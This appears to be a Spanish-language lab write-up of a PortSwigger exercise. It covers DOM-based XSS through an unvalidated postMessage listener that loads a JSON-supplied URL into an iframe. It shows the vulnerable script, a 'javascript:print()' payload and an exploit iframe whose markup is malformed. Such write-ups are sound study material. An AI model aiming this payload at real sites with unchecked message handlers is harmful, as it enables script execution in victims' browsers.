> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/dom/xss-dom-with-web-messages-and-json-parse.md).

# XSS DOM con Web Messages y json.parse

### XSS DOM usando mensajes web y JSON.parse

Este documento reformula y traduce al español las notas proporcionadas en el laboratorio (PortSwigger): describe el código vulnerable, cómo interpreta los mensajes y el payload usado para invocar `print()` mediante una `iframe`.

Descripción del script vulnerable

El script crea dinámicamente una `iframe` etiqueta y controla de forma remota mediante mensajes recibidos por el `postMessage` evento. Puede cargar una URL, ajustar el tamaño del reproductor y desplazarlo dentro de la página.

```javascript
<script>
window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {element: iframe},
        d;

    document.body.appendChild(iframe);

    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }

    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;

        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;

        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);
</script>
```

<figure><img src="/files/360f4feb7af275f9362fecc0dc0d544c853cce82" alt=""><figcaption></figcaption></figure>

### `postMessage` Ejemplo de mensaje

Enviar un mensaje JSON en forma de cadena permite que el script interprete la acción solicitada.

Cargar una URL normal:

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "https://jord4n.pro"
}), "*");
```

<figure><img src="/files/fb90eeb2e00fc663854efd181c54b7f7beaad94c" alt=""><figcaption></figcaption></figure>

Usa un `JavaScript:` esquema para ejecutar código (aquí llama `print()`):

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "javascript:print()"
}), "*");
```

<figure><img src="/files/cc89ca97a949e6cc7bd941b58ce886e637bdbaf2" alt=""><figcaption></figcaption></figure>

En el servidor de explotación, puedes dejar una página HTML con un `iframe` apuntando a la página vulnerable y enviar el `load-string` mensaje con `URL: "JavaScript:print()"` al cargar el iframe.

```javascript
<iframe
  src="https://0ab900e304d6807a80b30312007a000d.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage(JSON.stringify({type:"load-channel",url:"javascript:print()"}),"*"); "
</iframe>
```


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